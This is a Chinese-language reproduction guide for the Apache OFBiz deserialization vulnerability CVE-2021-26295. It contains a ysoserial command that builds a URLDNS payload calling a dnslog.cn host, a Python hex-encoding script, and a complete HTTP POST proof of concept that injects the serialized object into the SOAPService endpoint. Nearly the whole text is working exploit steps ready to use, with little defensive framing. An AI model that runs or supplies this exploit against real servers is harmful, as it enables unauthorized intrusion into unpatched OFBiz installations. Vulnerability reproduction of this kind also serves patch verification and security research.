Apache OFBiz 反序列化漏洞（CVE-2021-26295 ）复现

0x01影响范围

Apache OFBiz < 17.12.06

0x02漏洞复现步骤

ysoserial生成URLDNS利用链

java -jar ysoserial.jar URLDNS http://***.dnslog.cn > dns.ot

Encode得到的dns.ot

encode脚本

import binascii

filename = 'dns.ot'
with open(filename, 'rb') as f:
    content = f.read()
print(binascii.hexlify(content))

打POC

POC

POST /webtools/control/SOAPService HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Content-Length: 1010
Accept: */*
Content-Type: application/xml
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser>
    <map-HashMap>
        <map-Entry>
            <map-Key>
                <cus-obj>(ot文件解码出来的字符串)</cus-obj>
            </map-Key>
            <map-Value>
                <std-String value="(DNSlog地址)"/>
            </map-Value>
        </map-Entry>
    </map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>

DNSLOG回显